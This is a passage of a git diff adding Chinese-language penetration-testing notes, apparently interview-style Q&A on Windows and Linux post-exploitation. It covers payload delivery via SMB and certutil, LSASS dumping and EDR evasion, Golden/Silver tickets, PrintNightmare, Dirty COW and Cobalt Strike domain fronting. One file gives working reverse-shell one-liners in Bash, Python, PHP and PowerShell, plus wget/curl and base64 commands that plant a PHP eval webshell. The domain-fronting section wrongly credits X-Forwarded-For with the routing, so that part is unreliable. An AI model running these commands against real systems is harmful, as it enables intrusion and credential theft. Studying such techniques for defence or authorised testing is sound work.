C:\Users\Public\payload.exe + ``` + +**方法四:使用 SMB 协议** + +如果你在攻击机上搭建了 SMB 服务器,可以直接通过 SMB 协议传输文件,这在许多环境中比 HTTP 更隐蔽 + +- **下载命令** + + ```cmd + copy \\<攻击机IP>\share\payload.exe C:\Users\Public\payload.exe + ``` + +**方法五:将文件内容写入文件** + +这是一个非常隐蔽的方法,特别适用于 Shell 权限受限,无法直接执行下载命令的情况 + +- **原理**:你将文件的二进制内容转换为文本格式(例如十六进制字符串),然后通过 `echo` 命令或 `certutil -decode` 等方式,将文本内容写入一个新文件,并将其解码为可执行文件 + +- **示例** + + 1. 在攻击机上,将 `payload.exe` 转换为 Base64 编码:`base64 payload.exe > payload.b64` + + 2. 在目标机上,使用 `echo` 将 Base64 字符串写入一个临时文件: + + ```powershell + echo > C:\Users\Public\payload.b64 + ``` + + 3. 使用 `certutil` 将 Base64 文件解码为可执行文件: + + ```cmd + certutil -decode C:\Users\Public\payload.b64 C:\Users\Public\payload.exe + ``` + +**3. 文件落地后的执行** + +文件落地成功后,你需要执行它。执行命令取决于你获得的权限 + +- **在命令行中直接执行** 如果你已经获得了 Shell,可以直接输入文件路径来执行:`C:\Users\Public\payload.exe` + +- **使用 `psexec`** 如果你有域管理员权限,可以使用 `psexec` 在目标机器上远程执行文件 + +- **使用 WMI** 利用 **Windows Management Instrumentation (WMI)**,你可以通过远程方式在目标机器上执行进程 + + ```powershell + wmic process call create "C:\Users\Public\payload.exe" + ``` \ No newline at end of file diff --git a/Chapter15/15-22.md b/Chapter15/15-22.md new file mode 100644 index 0000000..7189aaf --- /dev/null +++ b/Chapter15/15-22.md @@ -0,0 +1,10 @@ +### DB 文件如何解密,原理是什么 + +数据库文件解密主要取决于**加密类型**和**密钥的存储位置**。许多数据库系统(如 MySQL、SQL Server、PostgreSQL)都提供了数据加密功能,通常分为以下几种类型: + +1. **文件系统加密**:例如,使用 Linux 的 `LUKS` 或 Windows 的 `BitLocker` 等,对整个硬盘分区进行加密。这种情况下,数据库文件本身并没有加密,而是其所在的整个文件系统被加密了 + - **解密原理**:只要系统成功启动并解锁了加密分区,你就可以像访问普通文件一样访问 DB 文件。解密的密钥通常存储在系统内存中或 TPM (可信平台模块) 芯片中 +2. **透明数据加密**:这是一种在数据库级别实现的加密,对整个数据库文件进行实时加密。当数据写入磁盘时,它会被加密;当数据从磁盘读取到内存时,它又会被自动解密 + - **解密原理**:TDE 的加密和解密过程对用户是透明的,但它的**加密密钥**通常存储在一个**主密钥(Master Key)或证书**中,而主密钥又被另一个**服务主密钥(Service Master Key)**保护。这些密钥通常与数据库实例或操作系统相关联,因此,即使你拿到加密的 DB 文件,如果没有密钥,也无法解密 +3. **应用层加密**:数据在被写入数据库之前,由应用程序进行加密 + - **解密原理**:这种加密通常依赖于应用程序代码中的硬编码密钥或外部密钥管理服务。解密必须通过应用程序,或者你有能力获取加密密钥并使用相应的加密算法进行解密 \ No newline at end of file diff --git a/Chapter15/15-23.md b/Chapter15/15-23.md new file mode 100644 index 0000000..0acbac0 --- /dev/null +++ b/Chapter15/15-23.md @@ -0,0 +1,29 @@ +### PTH 中 LM hash 和 NTLM hash 的区别 + +**LM Hash (LAN Manager Hash)** + +- **全称**:LAN Manager Hash +- **哈希算法**:它是一种非常老旧且脆弱的哈希算法,主要用于 Windows NT 4.0 及更早的版本 +- **加密方式**: + 1. 将用户的明文密码转换为大写 + 2. 如果密码长度超过 14 个字符,只取前 14 个。如果不足 14 个,用空字符填充到 14 个 + 3. 将 14 个字符的密码分成两部分,每部分 7 个字符 + 4. 分别使用 DES(Data Encryption Standard)算法进行加密 +- **主要缺陷**: + - **不区分大小写**:LM 哈希会将所有字母都转换为大写,导致密码的复杂性大大降低,例如 `password` 和 `PASSWORD` 会生成相同的 LM 哈希 + - **分段加密**:将密码分成两段,每段单独加密,这使得哈希破解变得非常容易,攻击者可以分别破解这两段,大大缩短破解时间 + - **无盐值**:它没有使用盐值(Salt),这使得攻击者可以使用彩虹表(Rainbow Table)进行快速破解 + +**结论**:LM 哈希非常不安全,很容易在几秒钟内被破解。从 Windows Vista 和 Windows Server 2008 开始,LM 哈希默认是禁用的,除非为了向后兼容性而手动启用 + +**NTLM Hash (NT LAN Manager Hash)** + +- **全称**:NT LAN Manager Hash +- **哈希算法**:它使用了 **MD4** 哈希算法,并且不对密码进行大小写转换或填充 +- **加密方式**: + 1. 将用户的明文密码转换为 UTF-16LE 编码 + 2. 对 UTF-16LE 编码的密码进行 MD4 哈希运算 +- **主要特点**: + - **区分大小写**:NTLM 哈希保留了密码的大小写,这增加了哈希破解的难度 + - **没有分段**:它对整个密码进行一次性哈希运算,而不是分段 + - **依然没有盐值**:尽管比 LM 哈希更安全,但 NTLM 哈希仍然没有使用盐值,因此,如果密码简单或在字典中,仍然可以通过彩虹表或字典攻击被破解 \ No newline at end of file diff --git a/Chapter15/15-24.md b/Chapter15/15-24.md new file mode 100644 index 0000000..54375b3 --- /dev/null +++ b/Chapter15/15-24.md @@ -0,0 +1,21 @@ +### Print Nightmare 漏洞分析 + +**1. 漏洞原理** + +Print Nightmare 的核心原理是**权限升级**和**任意文件写入**。它利用了 `RpcAddPrinterDriver` 这个 RPC(远程过程调用)函数中存在的逻辑缺陷 + +- **`RpcAddPrinterDriverEx` 函数**:这是一个用于在服务器上安装打印机驱动的函数。通常情况下,只有拥有管理员权限的用户才能调用这个函数 +- **非特权用户的利用**:漏洞的根源在于,攻击者发现可以通过一个**普通用户**的身份,调用这个函数,并让其加载一个**恶意的 DLL 文件** +- **权限升级**:当打印后台处理程序(`spoolsv.exe`)以 **SYSTEM 权限**运行,并加载这个恶意 DLL 文件时,恶意代码也会以 SYSTEM 权限执行,从而实现权限提升 + +简单来说,攻击者利用这个漏洞**欺骗**了 SYSTEM 权限的打印服务,让它去加载一个恶意的 DLL 文件,从而以最高权限运行恶意代码 + +**2. 漏洞利用过程** + +一个典型的 Print Nightmare 漏洞利用过程可以分为以下几步: + +1. **准备恶意 DLL**:攻击者首先需要编写一个恶意的 DLL 文件。这个 DLL 文件的核心功能是**建立反向 Shell**、**创建新的管理员账户**或者**执行任意系统命令** +2. **准备 SMB 共享**:攻击者将这个恶意 DLL 文件放置在自己的机器上,并通过 **SMB(Server Message Block)**协议共享出来 +3. **发起 RPC 请求**:攻击者以一个普通用户的身份,向目标机器的打印服务发起一个 `RpcAddPrinterDriverEx` RPC 请求 +4. **恶意 DLL 加载**:在 RPC 请求中,攻击者指定要加载的驱动文件路径为自己的 SMB 共享路径。当打印服务收到这个请求后,它会以 **SYSTEM 权限**去连接攻击者的 SMB 共享,并加载恶意 DLL 文件 +5. **远程代码执行**:一旦 DLL 文件被加载到 `spoolsv.exe` 进程中,其中的恶意代码就会被执行,从而在目标机器上获得 **SYSTEM 权限** \ No newline at end of file diff --git a/Chapter15/15-25.md b/Chapter15/15-25.md new file mode 100644 index 0000000..b86cf09 --- /dev/null +++ b/Chapter15/15-25.md @@ -0,0 +1,26 @@ +### CS 域前置的原理 + +**1. 核心原理:CDN 的工作方式** + +要理解域前置,首先要理解 CDN 的工作原理 + +- **CDN(Content Delivery Network)**:CDN 的核心作用是加速内容分发。它在全球部署了大量的节点服务器,当用户访问一个网站时,CDN 会将用户的请求重定向到离用户最近的节点上。这样,用户就能更快地获取内容 +- **多域名共享 IP**:一个 CDN 节点通常会为成百上千个不同的域名提供服务。这意味着,`cdn.example.com` 和 `cdn.attacker.com` 两个域名,可能解析到**同一个 IP 地址** + +**2. 域前置的攻击过程** + +域前置利用了 CDN 的这个特性,将攻击流量伪装成正常流量。整个过程可以分为以下几步: + +1. **准备阶段**: + - **攻击者域名**:攻击者注册一个自己的域名,例如 `attacker.com`,并将其配置为 Cobalt Strike 的 C2 域名 + - **CDN 加速**:攻击者将 `attacker.com` 接入一个大型 CDN 服务,例如 Cloudflare、Akamai 等。这样,`attacker.com` 就能使用 CDN 的 IP 地址 + - **高信誉域名**:攻击者选择一个在高信誉 CDN 上托管的、合法的、与自己无关的域名,例如 `cdn.google.com` 或 `cdn.bing.com`。这个域名就是我们所说的**“域前置”域名** +2. **流量伪装**: + - **客户端请求**:受害者的机器(被植入 Beacon 的主机)向 Cobalt Strike C2 发送请求 + - **隐藏真实 C2**:在 HTTP 请求的头部,攻击者做了如下设置: + - `Host: cdn.google.com`:这个头部告诉 CDN 服务器,客户端要访问的是 Google 的 CDN 服务。由于这个域名是高信誉的,防火墙会放行这个流量 + - `X-Forwarded-For: cdn.attacker.com`:这个头部告诉 CDN,**真实的请求目标是 `cdn.attacker.com`**。这是域前置的关键 +3. **CDN 转发**: + - 当 CDN 节点收到请求时,它会先查看 `Host` 头。因为 `Host` 头是 `cdn.google.com`,CDN 就会认为这个请求是合法的,并不会拦截 + - 然后,CDN 会根据内部的转发规则,将请求转发到 `X-Forwarded-For` 头指定的域名所对应的服务器上 + - 最终,请求被转发到了攻击者的 Cobalt Strike C2 服务器 \ No newline at end of file diff --git a/Chapter15/15-26.md b/Chapter15/15-26.md new file mode 100644 index 0000000..fbfe91f --- /dev/null +++ b/Chapter15/15-26.md @@ -0,0 +1,10 @@ +### CS 流量是怎么通信的 + +**Beacon 的通信模型** + +Beacon 的通信模式是**客户端-服务器(Client-Server)**模型,其中受害者的机器是客户端,而攻击者控制的 Cobalt Strike 服务器(TeamServer)是服务器 + +- **客户端(受害者机器)**:Beacon Payload 运行在受害者机器上,它会周期性地向 TeamServer 发送心跳包("phoning home"),请求任务并上传结果 +- **服务器(TeamServer)**:TeamServer 监听来自 Beacon 的连接,接收其报告,并下发新的命令 + +这种通信模式被称为**“拉取-推送”(Pull-Push)**模型。Beacon 主动向 TeamServer 拉取任务,而不是 TeamServer 主动向受害者机器推送任务。这使得 Beacon 的行为更像一个正常的应用程序,例如一个云同步客户端 \ No newline at end of file diff --git a/Chapter15/15-3.md b/Chapter15/15-3.md new file mode 100644 index 0000000..d5de138 --- /dev/null +++ b/Chapter15/15-3.md @@ -0,0 +1,36 @@ +### 脏牛漏洞提权原理 + +**1. 什么是写时复制(CoW)?** + +在 Linux 系统中,当一个进程需要复制一个文件或共享内存区域时,内核并不会立刻为新进程分配独立的内存空间并复制数据。相反,它会让两个进程共享同一块物理内存 + +只有当其中一个进程**尝试修改**这块内存中的数据时,内核才会触发“写时复制”机制: + +- 内核会为这个正在尝试写入的进程**创建一个新的物理内存副本** +- 这样,原始进程的数据保持不变,而新进程可以在自己的私有内存副本上进行修改,而互不影响 + +这个机制极大地节省了内存和时间,提高了系统的效率 + +**2. 漏洞是如何产生的?** + +“脏牛”漏洞的本质就在于**写时复制(CoW)机制的一个缺陷** + +当一个非特权用户尝试访问一个只读文件(例如 `/etc/passwd`)时,内核会映射这个文件的内存页。按照 CoW 机制,用户无法修改它 + +然而,内核在处理以下两个操作时,存在一个**竞争条件**: + +- **操作一:** 一个线程使用 `madvise(MADV_DONTNEED)` 系统调用来**丢弃**一个内存页。这个调用告诉内核:我不需要这个页了,你可以把它从内存中释放掉 +- **操作二:** 另一个线程尝试**执行写入操作**,触发 CoW 机制,申请一个新的私有内存页 + +正常的流程应该是:如果一个线程在尝试写入,内核会先为其分配新的内存,然后再进行写入。但是,这个漏洞的巧妙之处在于,通过精巧地控制这两个操作的执行时机,可以制造出一个“时间窗口” + +攻击者利用这个时间窗口,在内核准备为写入操作分配新内存之前,通过 `madvise()` 使得内核错误地**取消了 CoW 的正常流程**。结果是,内核没有为写入操作创建一个私有的内存副本,而是**直接在原始的只读内存页上进行了写入** + +**3. 如何利用这个漏洞?** + +攻击者利用这个漏洞的流程通常如下: + +1. **选择目标文件:** 攻击者选择一个具有 root 权限的只读文件,例如 `/etc/passwd`,该文件包含了系统用户的账户信息 +2. **多线程并发:** 攻击者启动两个线程,一个线程不断地尝试对 `/etc/passwd` 进行写入操作(例如,写入一个新的 root 用户账户),另一个线程则持续调用 `madvise()` 来触发竞争条件 +3. **成功写入:** 在竞争条件被触发的瞬间,写入操作会绕过 CoW 机制,直接修改 `/etc/passwd` 的内存内容 +4. **获取权限:** 攻击者随后会利用修改后的文件,通过新的 root 用户账户成功登录系统,从而获得 root 权限 \ No newline at end of file diff --git a/Chapter15/15-4.md b/Chapter15/15-4.md new file mode 100644 index 0000000..4abb540 --- /dev/null +++ b/Chapter15/15-4.md @@ -0,0 +1,52 @@ +### 黄金票据和白银票据区别 + +**黄金票据(Golden Ticket)** + +**黄金票据**是一种伪造的 TGT(Ticket Granting Ticket),它允许攻击者以任意用户的身份(通常是域管理员)访问域内所有资源 + +**攻击原理** + +黄金票据攻击的核心是获取域控制器(Domain Controller,DC)的 **krbtgt 账户哈希**。`krbtgt` 是一个特殊的服务账户,它用于加密和签名所有颁发的 Kerberos 票据。只要掌握了这个哈希,攻击者就可以在任何机器上离线伪造一个有效的 TGT + +**攻击步骤** + +1. **权限提升**:攻击者需要先在域内获取一个普通用户的权限,然后通过其他漏洞(如 `Zerologon` 或 `PetitPotam`)提升到域管理员权限 +2. **获取哈希**:利用像 Mimikatz 这样的工具,从域控制器内存中导出 `krbtgt` 账户的哈希 +3. **伪造票据**:使用 Mimikatz,利用导出的 `krbtgt` 哈希来伪造一个 TGT。这个 TGT 可以包含任何用户名、SID(用户安全标识符)和组信息,通常会伪造一个高权限用户(如`Domain Admins`) +4. **权限维持**:伪造的票据可以被攻击者用来请求其他服务票据(ST),从而访问域内所有服务和资源,且无需与域控制器进行任何交互 + +**攻击特点** + +- **攻击范围广**:攻击者可以以任何身份访问域内所有资源,因为伪造的 TGT 是最高级别的认证凭证 +- **权限持久**:只要攻击者拥有 `krbtgt` 哈希,就可以在任何时间、任何地点伪造新的 TGT,实现了对整个域的永久控制 +- **难以检测**:由于攻击不依赖特定用户的密码,且攻击流量与正常 Kerberos 流量相似,因此在没有专门监控的情况下很难被发现 + +**白银票据(Silver Ticket)** + +**白银票据**是一种伪造的 ST(Service Ticket),它允许攻击者以任意用户的身份访问特定的服务,而不是整个域 + +**攻击原理** + +白银票据攻击的核心是获取特定**服务账户的哈希**。在 Kerberos 中,每个服务(如`HTTP`、`MSSQL`、`Cifs`等)在域内都有一个对应的服务账户。攻击者只要获取了某个服务账户的哈希,就可以伪造一个该服务的有效 ST。 + +**攻击步骤** + +1. **权限提升**:攻击者需要先获取一个普通用户的权限,然后通过其他漏洞获取到目标服务所在的机器的本地管理员权限 +2. **获取哈希**:在目标服务器上,利用 Mimikatz 等工具,从内存中导出特定服务账户的哈希 +3. **伪造票据**:使用 Mimikatz,利用导出的服务账户哈希来伪造一个 ST。这个 ST 只能用于访问特定的服务,且同样可以包含任意用户名和组信息 +4. **访问服务**:伪造的 ST 可以被攻击者用来直接访问该服务,无需经过域控制器进行 TGT 认证 + +**攻击特点** + +- **攻击范围小**:白银票据只能访问特定服务,无法像黄金票据那样横向移动到所有域内资源 +- **无需域控制器**:攻击者可以直接与目标服务进行交互,无需与域控制器进行任何通信,这使得攻击更加隐蔽 +- **相对容易**:相比于黄金票据需要域管理员权限来获取 `krbtgt` 哈希,白银票据只需要获取特定服务的本地管理员权限,在某些场景下这更容易实现 + +| 特性 | 黄金票据(Golden Ticket) | 白银票据(Silver Ticket) | +| ---------- | -------------------------------------------------- | ---------------------------------------- | +| 伪造对象 | TGT(Ticket Granting Ticket) | ST(Service Ticket) | +| 所需哈希 | krbtgt 账户哈希 | 服务账户哈希(如 HTTP、MSSQL、Cifs 等) | +| 攻击目标 | 整个域内所有资源和服务 | 特定服务(如文件共享、数据库等) | +| 所需权限 | 域管理员权限 | 目标服务所在机器的本地管理员权限 | +| 影响范围 | 全域控制,可进行任意横向移动,并创建任何权限的用户 | 单点控制,只能访问特定服务,横向移动受限 | +| 攻击隐蔽性 | 攻击流量与正常 TGT 流量类似,难以被检测 | 攻击流量不经过 DC,更加隐蔽 | \ No newline at end of file diff --git a/Chapter15/15-5.md b/Chapter15/15-5.md new file mode 100644 index 0000000..de0117c --- /dev/null +++ b/Chapter15/15-5.md @@ -0,0 +1,42 @@ +### 读取不到 hash 怎么绕过 + +**方法一:绕过 EDR/AV 和 LSAProtection** + +这是最常见的挑战。大多数攻击者会使用 Mimikatz,但它常常被安全软件检测到 + +- **使用定制或混淆的工具:** + - **Mimikatz 的变种:** 寻找或自己编译 Mimikatz 的混淆版本(如`P-Code`、`Minidump`)。这些版本可能没有被 EDR/AV 的签名库收录 + - **不依赖 Mimikatz 的替代工具:** 尝试使用其他开源工具,如 **`LaZagne`** 或 **`DonPAPI`**。这些工具采用不同的技术来提取凭据,可能绕过某些防御 +- **使用内存转储(Memory Dumping)** + - **`procdump.exe`:** 这是微软官方的工具,可以合法地转储进程内存。你可以使用它来转储 LSASS 进程,然后在另一台安全的机器上用 Mimikatz 的 **`sekurlsa::minidump`** 模块离线分析 + - **注意:** 尽管 `procdump` 是官方工具,但许多 EDR/AV 已经对其进行了监控。你需要小心使用 + - **手动转储:** 也可以使用 Powershell 或 C# 编写代码,直接调用 `MiniDumpWriteDump` API 来转储 LSASS 进程。这比使用现成的工具更隐蔽 +- **进程注入与内存补丁** + - 通过注入到合法的进程(如`svchost.exe`)中,然后从该进程内部转储 LSASS 内存,可以绕过一些基于进程行为的监控 + - **PPL(Protected Process Light)** 绕过:如果目标启用了 PPL,传统的注入方式会失败。可以尝试利用一些已知漏洞或驱动程序来提升权限并绕过 PPL。例如,使用一些内核驱动加载工具,在内核模式下操作 + +**方法二:不直接读取哈希,而是获取明文密码** + +如果哈希实在无法获取,可以考虑获取用户的明文密码 + +- **键盘记录(Keylogging):** + - 部署一个键盘记录程序(如 **`PowerSploit`** 中的 `Get-Keystrokes`),记录用户在登录或输入密码时的按键 + - **优点:** 可以获取明文密码,且绕过了哈希的保护机制 + - **缺点:** 实时性差,需要等待用户输入密码,并且容易被杀毒软件检测 +- **Hooking** + - 通过在登录或凭据输入过程中,`Hook` 相关的 WinAPI 函数(如 `LsaLogonUser`),可以截取到明文密码或哈希 + - **优点:** 实时性高,可以在用户登录时立即获取凭据 + - **缺点:** 实现复杂,需要编写专门的代码,且容易被 EDR/AV 拦截 + +**方法三:利用其他机制获取凭据** + +除了 LSASS,凭据还可能存储在其他地方 + +- **注册表(Registry)** + - 某些应用程序(如 Putty、TeamViewer 等)可能会将连接密码以加密或明文形式存储在注册表中。可以使用 **`LaZagne`** 或其他专用工具扫描注册表 + - 例如:`HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` 下可能会存储自动登录的明文密码 +- **服务凭据(Service Credentials)** + - 许多服务使用服务账户运行,这些账户的凭据通常存储在服务配置中。如果权限足够,可以枚举这些服务并尝试读取其配置 +- **浏览器、邮件客户端和 FTP 客户端** + - 浏览器(如 Chrome、Firefox)、邮件客户端(如 Outlook)和 FTP 客户端(如 FileZilla)通常会缓存用户的明文密码 + - 可以使用 **`Mimikatz`** 的 **`dpapi::`** 模块或专门的工具来解密这些存储的凭据 \ No newline at end of file diff --git a/Chapter15/15-6.md b/Chapter15/15-6.md new file mode 100644 index 0000000..2b54a16 --- /dev/null +++ b/Chapter15/15-6.md @@ -0,0 +1,78 @@ +### 现在有一台 Windows Server 2008 如何提权 + +**第一步:信息收集** + +在尝试任何攻击之前,必须先了解你所处的环境。这一步是成功的关键,可以帮助你快速定位可行的提权路径 + +1. **检查当前权限:** + - `whoami /priv`:查看当前账户拥有的特权。某些特权(如 `SeDebugPrivilege`)可以直接用于窃取哈希或执行其他高权限操作 +2. **系统信息和补丁:** + - `systeminfo`:查看系统版本、架构和安装的补丁列表。这对于判断系统是否对已知的内核漏洞免疫至关重要 + - `wmic qfe get Caption,Description,HotFixID,InstalledOn`:更详细地查看已安装的补丁 +3. **服务和进程:** + - `tasklist /svc`:查看哪些服务正在运行,以及它们以什么权限运行 + - `Get-Service` (PowerShell):查找以 `LocalSystem` 或其他高权限账户运行的服务 +4. **目录和文件权限:** + - `icacls C:\`:检查关键目录(如 `C:\Program Files`)的写入权限。如果低权限用户可以写入,则可能存在 **DLL 劫持**或 **可执行文件替换**的漏洞 +5. **注册表权限:** + - `reg query HKLM`:检查注册表键的权限,尤其是那些与服务或自动运行程序相关的键 +6. **计划任务:** + - `schtasks /query`:查看是否有以高权限账户运行的计划任务,且低权限用户可以修改其执行文件或参数 + +**第二步:利用常见的配置错误(首选)** + +这些方法通常不需要复杂的漏洞利用,成功率高且隐蔽性强 + +**1. 不安全的服务的可执行文件路径** + +如果一个服务的路径没有用引号括起来,并且路径中包含空格,Windows 会尝试从每个空格分隔的目录中寻找可执行文件 + +- **示例:** 服务路径为 `C:\Program Files\My Service\service.exe` +- **Windows 搜索顺序:** + 1. `C:\Program.exe` + 2. `C:\Program Files\My.exe` + 3. `C:\Program Files\My Service\service.exe` +- **利用方式:** 如果低权限用户对 `C:\Program Files` 或 `C:\` 目录有写入权限,就可以在该目录中创建一个恶意的可执行文件(如 `My.exe`)。当服务重启时,它会首先执行这个恶意程序,从而获得服务的权限 + +**2. 服务配置权限不当** + +如果低权限用户可以修改某个高权限服务的配置,例如更改其二进制文件路径,就可以实现提权 + +- **检查方法:** `sc qc [ServiceName]` +- **利用方式:** 使用 `sc config` 命令修改服务的 `binpath` 指向你的恶意程序,然后重启服务 + +**3. 注册表键 AlwaysInstallElevated** + +如果以下两个注册表键都为 `1`,那么任何用户都可以以 **System** 权限运行 MSI 安装文件 + +- `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated` +- `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated` +- **利用方式:** 创建一个恶意的 MSI 安装包(可以使用 `msfvenom` 生成),然后双击运行,它会以 `System` 权限执行你的代码 + +**第三步:利用内核漏洞** + +如果配置错误的方法都不可行,可以尝试利用 Windows Server 2008 上已知的内核漏洞 + +- **MS11-046 (AFD.sys):** 这是一个非常经典的漏洞,允许低权限用户提升至 `SYSTEM` 权限 +- **MS14-066 (sctp.sys):** 另一个著名的权限提升漏洞,通常被用于获得 `SYSTEM` 权限 +- **MS15-051 (win32k.sys):** 同样是一个广泛使用的权限提升漏洞 + +**重要提示:** 在尝试内核漏洞之前,请务必使用 `systeminfo` 检查是否已打相关补丁。贸然执行漏洞利用程序可能会导致系统蓝屏(BSOD) + +**第四步:凭据窃取与重用** + +如果以上方法都失败了,或者你已经获得了管理员权限,下一步就是获取更多凭据,为横向移动做准备 + +**1. LSASS 进程内存转储** + +Windows 在 `lsass.exe` 进程中缓存了用户的明文密码、NTLM 哈希和 Kerberos 票据 + +- **利用方式:** 使用 **Mimikatz** 或其他工具,在拥有 `SeDebugPrivilege` 特权时,可以从 `lsass.exe` 进程中直接抓取凭据 + - `sekurlsa::logonpasswords`:抓取所有已登录用户的明文密码和哈希 + - `lsass.exe` 内存转储:如果无法直接运行 Mimikatz,可以先使用 `procdump.exe` 转储 `lsass.exe` 进程内存,然后在另一台机器上离线分析 + +**2. SAM 和 SYSTEM 注册表文件** + +SAM 文件包含了本地用户的密码哈希,而 SYSTEM 文件包含了用于解密 SAM 的密钥 + +- **利用方式:** 使用 `reg save` 命令将这两个文件导出,然后使用工具(如 `samdump2` 或 `impacket` 的 `secretsdump.py`)离线解密哈希 \ No newline at end of file diff --git a/Chapter15/15-7.md b/Chapter15/15-7.md new file mode 100644 index 0000000..1548834 --- /dev/null +++ b/Chapter15/15-7.md @@ -0,0 +1,41 @@ +### 提权时选择可读写目录,为何尽量不用带空格的目录 + +**1. 命令行解析问题** + +在 Linux、Windows 等操作系统的命令行环境中,空格被视为命令、参数和选项的分隔符 + +例如,你想将一个文件写入 `/tmp/my file/` 目录: + +- **错误的做法**:`echo "hello" > /tmp/my file/test.txt` + - 命令行会将其解释为: + - **命令**:`echo "hello"` + - **参数**:`>` + - **参数**:`/tmp/my` + - **参数**:`file/test.txt` + - 显然,这会导致命令执行失败,因为 `/tmp/my` 目录不存在 +- **正确的做法**:为了让命令行将带空格的路径看作一个整体,需要用引号将路径包裹起来 + - `echo "hello" > "/tmp/my file/test.txt"` + - `echo "hello" > /tmp/"my file"/test.txt` + - `echo "hello" > /tmp/my\ file/test.txt` + +**2. 脚本和编程语言的兼容性** + +在进行提权时,我们通常不是手动输入命令,而是通过 Webshell 或漏洞执行脚本来完成操作。这些脚本(如 PHP、Python、Bash)在执行系统命令时,如果对带有空格的路径处理不当,就会导致提权失败 + +- **Bash 脚本**:如果脚本中的变量没有用引号包裹,那么当变量值包含空格时,会引发解析错误 + - **错误示例**:`path=$webshell_path; cp /tmp/shell $path/shell.php` + - **正确示例**:`path="$webshell_path"; cp /tmp/shell "$path/shell.php"` +- **PHP `system()` 或 `exec()` 函数**: + - **错误示例**:`system('cp /tmp/shell ' . $webshell_dir . '/shell.php');` + - 如果 `$webshell_dir` 的值是 `/var/www/my site`,PHP 会执行 `cp /tmp/shell /var/www/my site/shell.php`,这会失败 + - **正确示例**:`system('cp /tmp/shell "' . $webshell_dir . '/shell.php"');` + - 加上双引号后,命令会正确执行 + + + +**3. 避免不必要的复杂性** + +在渗透测试的实战环境中,时间非常宝贵。为了快速、稳定地完成提权,我们会尽量选择最可靠的方法 + +- **绕过引号限制**:在某些情况下,Webshell 或命令执行漏洞可能对引号(`"` 或 `'`)进行了过滤或转义,这会使得正确处理带有空格的路径变得更加困难 +- **减少出错概率**:选择一个不带空格的目录,例如 `/tmp`、`/var/tmp`、`/dev/shm` 等,可以省去考虑引号包裹的麻烦,确保命令能够一次性成功执行,提高效率 diff --git a/Chapter15/15-8.md b/Chapter15/15-8.md new file mode 100644 index 0000000..c3f7f89 --- /dev/null +++ b/Chapter15/15-8.md @@ -0,0 +1,90 @@ +### 对于不能直接上传而只能通过命令行执行的 Shell 怎么办 + +**1. 反弹 Shell** + +这是最常用、最有效的方法。它的原理是让目标服务器主动连接到你的攻击机,而不是让你去连接它。这能绕过目标服务器的防火墙和出站连接限制,同时给你一个完整的交互式 shell + +**基本步骤:** + +1. **在你的攻击机上设置监听**: 你需要一个网络监听器来等待来自目标服务器的连接。常用的工具有 `netcat` (nc) 或 `socat` + + ```bash + # 使用 netcat 监听 4444 端口 + nc -lvnp 4444 + ``` + + `l` 表示监听,`v` 表示显示详细信息,`n` 表示不进行DNS解析,`p` 表示指定端口 + +2. **在目标服务器上执行反弹 shell 命令**: 根据目标服务器的操作系统和已有的工具,执行不同的命令 + + - **Bash**: + + ```bash + bash -i >& /dev/tcp/你的IP/4444 0>&1 + ``` + + - **Python**: + + ```python + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<你的IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + ``` + + - **PHP**: + + ```php + php -r '$sock=fsockopen("<你的IP>",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' + ``` + +3. **获取交互式 shell**: 当目标服务器执行该命令后,它会连接到你的监听端口。你的 `netcat` 窗口会显示连接成功的消息,并且你将获得一个可执行命令的 shell + +**2. 通过 Web 请求传输文件** + +如果目标服务器允许出站请求,并且你可以控制这些请求(比如通过 `curl` 或 `wget`),那么你可以让目标服务器从你的攻击机上下载文件 + +1. **在你的攻击机上创建一个简单的 HTTP 服务器**: 将你的 shell 文件(如一个 PHP Webshell)放在一个目录下,并用 Python 启动一个简单的 Web 服务器 + + ```sh + # 在你的 shell 文件所在目录下执行 + python3 -m http.server 80 + ``` + +2. **在目标服务器上执行下载命令**: 利用命令注入点,让目标服务器下载文件 + + ```sh + # 使用 wget + wget http://你的IP/shell.php -O /var/www/html/shell.php + + # 或者使用 curl + curl http://你的IP/shell.php > /var/www/html/shell.php + ``` + + **注意**:你需要知道一个可写的、Web 服务器可以访问的目录(如 `/var/www/html/` 或 `/tmp/`)。如果 `/tmp` 目录可以写入,你可以先下载到 `/tmp`,再想办法移动到 Web 目录 + +**3. 利用内置工具** + +有些服务器环境自带一些可以创建 shell 的工具 + +- **VBScript / PowerShell (Windows)**: Windows 系统的 PowerShell 拥有强大的网络功能。你可以使用 PowerShell 来实现反弹 shell + + ```powershell + powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<你的IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();" + ``` + + 由于命令很长,你可以将其编码为 Base64 来避免空格和特殊字符的问题 + +**4. 利用 `echo` 或其他写入命令** + +如果目标服务器的出站连接被严格限制,你不能使用反弹 shell 或下载文件,但可以执行命令行。你可以通过 `echo` 命令,一行一行地将 shell 代码写入到一个文件中 + +**基本步骤:** + +1. **将你的 shell 代码进行编码**: 为了避免引号和特殊字符问题,你可以将代码进行 Base64 编码。 + +2. **使用 `echo` 和 Base64 解码命令**: + + ```bash + # 假设你的 shell 代码经过 Base64 编码后为 "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" + echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > /var/www/html/shell.php + ``` + + 如果服务器不支持 `base64 -d`,你可能需要用其他方法,比如分多行写入,或者利用 `python -c 'print ...'` 来写入文件 \ No newline at end of file diff --git a/Chapter15/15-9.md b/Chapter15/15-9.md new file mode 100644 index 0000000..d522c30 --- /dev/null +++ b/Chapter15/15-9.md @@ -0,0 